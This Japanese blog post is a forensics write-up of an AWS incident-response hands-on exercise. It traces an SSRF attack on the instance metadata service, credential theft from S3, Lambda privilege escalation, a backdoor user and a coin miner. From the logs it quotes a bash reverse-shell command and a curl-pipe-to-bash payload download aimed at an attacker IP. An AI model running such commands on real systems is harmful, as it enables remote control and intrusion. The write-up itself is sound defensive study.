とある診断員とSecurity-JAWS#02でAWS環境のDFIRを体験してきた
12/12(土)に とある診断員とSecurity-JAWS#02 にリモートで参加してきました。
勉強会は、AWS特有のセキュリティ機能とAWS環境に対する攻撃手法の紹介、AWS環境でセキュリティインシデントが発生した際のDFIR (Digital Forensics and Incident Response)をハンズオンを通して学べる非常に有意義な内容でした。 この記事では、私が午後のAWS環境のインシデントレスポンス課題で行った調査方法を紹介します。
勉強会当日の模様や資料は以下に公開されているので、どのような課題内容であったかの説明は省略します。 内容が気になる方は資料を読んでもらえると良いと思います。
なお、調査方法は当日行ったものをベースに書いていますが、勉強会後に解説聞いて追加で自分で試してみた内容も含めています。
準備: ディスクイメージのmount
本格的な調査を始める前にイメージをmountしておく。 イメージのmountは Ubuntu 18.04で行った。
今回配布されたディスクイメージは xfs である。
$ file victime_ec2_backup.img victime_ec2_backup.img: SGI XFS filesystem data (blksz 4096, inosz 512, v2 dirs)
以下のコマンドでUbuntuにディスクイメージをmountする。
mkdir /mnt/victim_root mount -o ro,noexec,nodev -t xfs ~/Desktop/victime_ec2_backup.img /mnt/victim_root
なお、mountコマンドで指定してるオプションは以下のとおり
- ro: 読み取り専用(証拠の内容の書き換えを防ぐため)
- noexec: バイナリの実行を不許可にする(マルウェア等を誤って実行するのを防ぐため)
- nodev: ファイルシステム上のキャラクタスペシャルデバイスやブロックスペシャルデバイスを利用できないようにする(証拠内のデバイスファイルを無視するため)
mountすると以下のように記録されているファイルを確認できるようになる。
GuardDutyのアラート確認
CloudTrailなどのイベントログは量が多く当たりをつけるのが難しいので、まずは当たりをつけやすいGuardDutyのアラートの情報を見て、取っ掛かりの情報を見つける。
東京リージョンでのGuardDutyのポータルを見ると、UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration
というアラートがあがっている。
(黒塗りしたのはSecutterが動いているEC2インスタンスで使われている一時的なアクセスキーの情報)
これは本来インスタンスから使われるCredential(アクセスキー)が外部から使用されたということらしい。
リソースの列を見ると、WebサーバのEC2にアタッチされている read-s3-ec2-role
を使うためのアクセスキー ASIA25Lxxxxxxxxxxxxx
が使われたことがわかる。
ちなみに、IAMでread-s3-ec2-role
の情報を確認すると、AmazonS3ReadOnlyAccess
のポリシーが付与されており、S3バケットの情報を読み込むことができる権限があるのが確認できる。
このアラートの詳細を見ると、影響を受けるリソースやどこからアクセスが行われたかが記載されている。 (黒塗りしたのはAWSアカウントID)
アラートの詳細からわかる情報は以下のとおり。
- 本来はインスタンス内から使用されるCredentialが35.233.183[.]126 から使用された
- 使われたアクセスキーは
ASIA25Lxxxxxxxxxxxxx
- アクセスキーを使用して
serverless-codes-yyyyyyyyyyyy
が閲覧された可能性
これらの情報を使って、各イベントログを調査する。
nginxログの深堀り
攻撃者と思われるIPアドレス 35.233.183[.]126
からWebアプリケーションに対してアクションがないか調査する。
nginxはすべてs3バケットに保存してあり、Athenaで検索できるようになっているので、Athenaで以下のクエリを入力してログを検索する。
保存されているnginxログのフィールドは以下のようになっている。
通常、ロードバランサ等のリバースプロキシがアクセスを中継する場合、HTTPヘッダ x_forwarded_for
に元々のアクセス元IPアドレスの情報を付与して中継する。
そのため、x_forwarded_for
に 35.233.183[.]126
が含まれているログを検索する。
SELECT format_datetime(date_parse(time,'%d/%b/%Y:%H:%i:%s +0900'),'YYYY-MM-dd HH:mm:ss') AS datetime,x_forwarded_for,method,uri,protocol,status_code,request_body,user_agent FROM "default"."nginx_access_logs" WHERE x_forwarded_for = '35.233.183.126' ORDER BY datetime;
※ 当日の調査の時はAthenaがうまく使えなかったので、以下のようにシンプルなクエリを書いて全ログを出力してCSVでダウンロード、Excelでログを解析していた。
SELECT * FROM "default"."nginx_access_logs";
この結果を見ると、15:06に複数のアクセスがあるのがわかる。
このアクセスログの中でどう見ても怪しいのが、 15:06:28 の /images/security-credentials
と 15:06:31の /images/read-s3-ec2-role
である。
/images/
は画像が置かれてそうなディレクトリ名だがアクセスしているのは画像ではない。
mountしたディスクイメージで /var/www/html/images/
にあるファイルを見ると、アクセスがあった同時刻に security-credentials
と read-s3-ec2-role
のファイルが更新されている。
ちなみに FTK Imager v4.5.0.3 で見てみると、Linuxでmountした時と read-s3-ec2-role
のタイムスタンプが異なった。
解説を聞いてると、15:19頃に read-s3-ec2-role
を変更したようなイベントはなさそうなので、FTK Imagerが間違って解析している気がする。
この前 #tigersecjaws02 でXFSのフォレンジックやってて思ったが、XFSのタイムスタンプってどうなってるんだろう…
— ほよたか (@takahoyo) 2020年12月14日
FTK ImagerだとCreatedのProperiesがないし、linuxでmountしてタイムスタンプ見ると作成された時間が記録されてるし… 🤔 pic.twitter.com/z7nirfbgj5
ディスクイメージには read-s3-ec-role
の中身もバッチリ残っており、AWSのCredential情報が記録されている。
このことから、何らかの脆弱性によってCredentialが作成、攻撃者により窃取されたと考えた。
これらのアクセスの共通点を探すと、アクセスをする前に profile.php
にアクセスしている。
今回はPOSTで送信されたデータも残っているのでその中身を確認すると、 profile_image
のパラメータに http://169.254.169.254
から始まるIMDSのURLが指定されている。
1回目
2回目
ディスクイメージには、Secutterのコードも残っているので、profile.php の profile_image
の処理部分を見てみる。
profile_image
で指定したURLからデータを取得して、ファイルを保存する処理となっている。
ここにSSRFの脆弱性があり、これが悪用されてAWSのCredentialが盗まれてしまったようだ。
なお、これらの機能はアカウントがなければ使えない機能であるが、アカウントの作成は誰でも出来る。 攻撃者は実際にこの攻撃を行う前にアカウントの登録を行っているのがアクセスログからわかる(No.1-8のログ)
CloudTrailログによるアクセスキーを使った操作確認
盗まれたアクセスキー ASIA25Lxxxxxxxxxxxxx
を使ってAWSのリソースに対してどのような操作が行われたかCloud Trailで確認する。
各イベントの詳細を確認し結果を確認したところ、このうち成功していたのはユーザ情報を確認する GetCallerIdentity と S3バケットの一覧を取得する ListBuckets のみだった。
このアクセスキーにはS3バケットを閲覧できる read-s3-ec2-role
の権限があるので、このアクセスキーのS3バケットに関するイベントを詳細に調査する。
午前の講義でも話があったように GetObject などのデータイベントはCloudTrailの標準コンソール(イベント履歴)には表示されないので、Athenaでログを検索する。
SELECT eventTime,eventName,requestParameters,errorCode,errorMessage, sourceIpAddress, userAgent, requestParameters, responseElements FROM "default"."cloudtrail_logs_camp_awslogs_750218111169" WHERE userIdentity.accesskeyid = 'ASIA25Lxxxxxxxxxxxx' AND eventSource = 's3.amazonaws.com' ORDER BY eventTime DESC;
結果を見るとS3バケットのserverless-codes-yyyyyyyyyyyy
にある、serverless_test.py
とlambda_creator.py
が攻撃者により取得されていることがわかる。
これらはS3バケットに現在も設置されているので、ダウンロードして内容を確認する。
lambda_creator.py は AWS Lambda の関数をハンドルする処理が書かれたコードでアクセスキー情報がハードコードされている。
※ 当日の調査では認証情報が書かれた lambda_creator.py のソースコードは見つけていたが、Athenaでこのコードが閲覧されている証拠までは得られなかった。
CloudTrailログによる lambda-creator-user を使った操作の確認
lambda-creator-user の操作もこれまで同様に、アクセスキーを検索条件に指定してAthenaで検索をする。
SELECT eventTime,eventName,requestParameters,errorCode,errorMessage, sourceIpAddress, userAgent, requestParameters, responseElements FROM "default"."cloudtrail_logs_camp_awslogs_750218111169" WHERE userIdentity.accesskeyid = 'AKIA25LD35DAxxxxxxxx' ORDER BY eventTime DESC;
この検索結果は100行以上あり、さすがにAthenaのコンソールで見るのは厳しくなってきたので、結果をCSV形式でダウンロードし、Excelで加工する。 重要なイベント(リソースの作成や設定変更等に関連するイベント)のみフィルタして、何が行われたか確認する。
このログからわかることは、以下のとおり。
- 15:17:00
szkpwned_211205b8c508753167ea
というLambda の関数を作成され、実行される - 15:22:18
AdministratorAccess
を持ったbackdoorffd0fb5dac5447659914
というユーザとアクセスキーを作成される - 15:22:24 リバースシェルを作成するコマンド (
/bin/bash -i >& /dev/tcp/35.233.183[.]126/4444 0>&1
) をAWS System Manager 経由で実行される - 15:27:30 新しくインスタンス(CoinMinerが動いていたインタンス)を起動される
- 15:34:07 新しく作ったインスタンスで ファイルをダウンロードして実行するコマンド (
curl -s http://35.233.183[.]126:5555/szk.jpg | bash -s
) をAWS System Manager 経由で実行される
なお、szkpwned_211205b8c508753167ea
という Lambdaの関数は残っており、処理を見るとAdministoratorAccess
のポリシーを lambda-creator-user
にアタッチしている。
これにより、lambda-creator-user
は 管理者に権限昇格したと考えられる。
※ 当日の調査では権限昇格の処理が書かれていた上記のコードまでは発見できず 、権限昇格されている証拠までは得られなかった。
調査のまとめ
調査報告書わかったことは以下のとおり
今回のインシデントについてSecutterサービスへの影響の有無を確認して報告してください。
以下のような攻撃がされておりサービスへの影響がある。
不正なEC2が動作していた原因について調査をしてください。
- WebアプリケーションのSSRF脆弱性を悪用されて、EC2で使われているroleのCredential情報が漏洩
- 漏洩したCredential情報を用いてS3バケットにアクセス、バケットに保存されているコード内にハードコードされた
lambda-creator-user
ユーザのCredential情報が漏洩 - Lambda関数
szkpwned_211205b8c508753167ea
を作成、実行し、lambda-creator-user
ユーザに管理者権限をアタッチ lambda-creator-user
のCredentialを用いて不正なEC2インタンスを起動
明確な痕跡が見つけられず状況証拠からまとめた部分も当日はあったが、昼食も含めて4.5hくらいで調べられたのはここまで。 EC2インスタンス侵入後にDBの中身をdumpされて外部に持ち出されている部分までは調べることができなかった。
また、「サービス再開のための対策案について」を考えるまでは手が回らなかった。
おわりに
時々AWSを仕事でも触りますが、これまであまりAWSのセキュリティ機能は使っていなかったので、今回多くのAWSのセキュリティ機能をハンズオンを交えながら触ることができて多くの収穫を得られたと思います。
Blue Team(防御者)の目線だと、インターネットに公開されているのでクラウド怖くね?みたいな話が時々ありクラウドの利用は敬遠されがちですが、AWSの各リソースに対する操作のログを取得する機能やセキュリティの脅威を検知する機能は提供されているので、適切に設定・監視を行えれればオンプレでサーバを運用するよりもセキュアかつ便利に使えると感じました。正しく知って、正しく恐れようと思いました。
一方、Red Tean(攻撃者)の目線だとその逆で、AWSのようなクラウドサービスはオンプレでサーバを運用する部分とは異なる概念も多く設定が難しい部分もあったので、システムや製品の脆弱性よりも設定の不備が狙い目になると感じました。
以下の講師の方々のブログ記事を読むと準備がいかに大変だったかというのが伝わってきます。
今回お忙しいところ貴重な機会を用意していただいた講師の皆様、SEC-JAWS運営の皆様、本当にありがとうございます!
これを機にAWSのセキュリティ機能を私も仕事でももう少し触ってみようと思います!
おまけ
みんな大好きMITER ATT&CKにはAWSの攻撃テクニックをまとめたページがあります
当日の勉強会で言及はありませんでしが、せっかくなので今回攻撃で使われたテクニックとATT&CKのテクニックを出来る限り紐付けてみました。(間違ってたらすみません)
- SSRFでEC2にアタッチされたIAM Roleの認証情報を窃取
- 窃取した認証情報を用いてS3バケットの中身を確認
- S3バケット内に保存されていたソースコード(
lambda_creator.py
)からIAM Userの認証情報を取得 - 悪用できそうなLambda用のIAM Role (
iam-generator-lambda-role
: すべてのIAMの設定変更が可能なIAMFullAccess
ポリシーが付与されているロール ) を発見 - Lamda関数
szkpwned_211205b8c508753167ea
を作成して、関数にiam-generator-lambda-role
をアタッチ - 関数を実行することで
lambda-creator-user
ユーザにAdministoratorAccess
ポリシーをアタッチして管理者に権限昇格 - バックドア用ユーザ
backdoorffd0fb5dac5447659914
およびアクセスキーを作成 - EC2でリバースシェルを実行し、RDS(DB)より機密情報を窃取
- 仮想通貨をマイニングするEC2インスタンスを作成